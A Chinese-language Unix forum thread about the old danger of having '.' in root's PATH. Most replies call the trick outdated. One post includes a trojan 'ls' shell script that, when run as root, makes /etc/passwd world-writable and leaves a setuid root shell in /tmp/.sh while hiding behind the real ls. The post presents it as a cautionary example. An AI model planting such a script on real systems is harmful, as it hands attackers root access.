窃取你的密码文件的小脚本

frenzy

最初由 kiron 发表
若是root用户的PATH目录中.目录在/bin/目录前的话，

不太可能吧。哪有那么不小心的root。

cx6445

关键是你没法改root的环境变量，你观察一下root的搜索路径的顺序就知道了。你说得这个方法正如你说的比较老，以前发生这种情况是因为当前目录最优先执行，用./command才能执行当前目录程序，正是为了防止这种情况出现而制定的。

idkey

这种办法都是几十年前的老东西了，现在的 root 那有把 ./ 加到 PATH 里的，开玩笑！再说了，你的 ls 后面没有把原来命令的参数传过去，那还不是一眼就被人看穿了。

KornLee

最初由 idkey 发表
这种办法都是几十年前的老东西了，现在的 root 那有把 ./ 加到 PATH 里的，开玩笑！再说了，你的 ls 后面没有把原来命令的参数传过去，那还不是一眼就被人看穿了。

devel

最初由 idkey 发表
这种办法都是几十年前的老东西了，现在的 root 那有把 ./ 加到 PATH 里的，开玩笑！

嘿嘿~~~~我就是这样的，看来我不是一般的笨阿。:p :p :p

KornLee

多数的用户都有在路径中包含"."的"恶习", ;) 这里有个比较OLD的脚本,

2. #!/bin/sh
3. if chmod 666 /etc/passwd >/dev/null 2>&1
4.         then cp /bin/sh /tmp/.sh
5.              chmod 4755 /tmp/.sh
6. fi
7. exec ls "$@"

复制代码

当用户在/tmp这个目录中执行ls的时候,执行的是上述的脚本,而不是实际的/bin/ls,但是最终还是执行了"ls",所以用户基本看不出什么异常,但是如果是root的话,就会把口令文件的权限设置成可写,并将shell cp到/tmp中保存成.sh,同时置setuserid位,
这就是可信路径中有"."的危险性~~,当然,这都是以前的linux版本出现的"漏洞",现在的系统这样拙劣的脚本是没用的,;)

kiron

````

Snoopy

kiron,我只是说我知道的而已,并没其他意思!

devel

我也是，我是耍着鬼脸说的，kiron兄别介意。。。。

Snoopy

其实都没什么，都没人说你怎么了？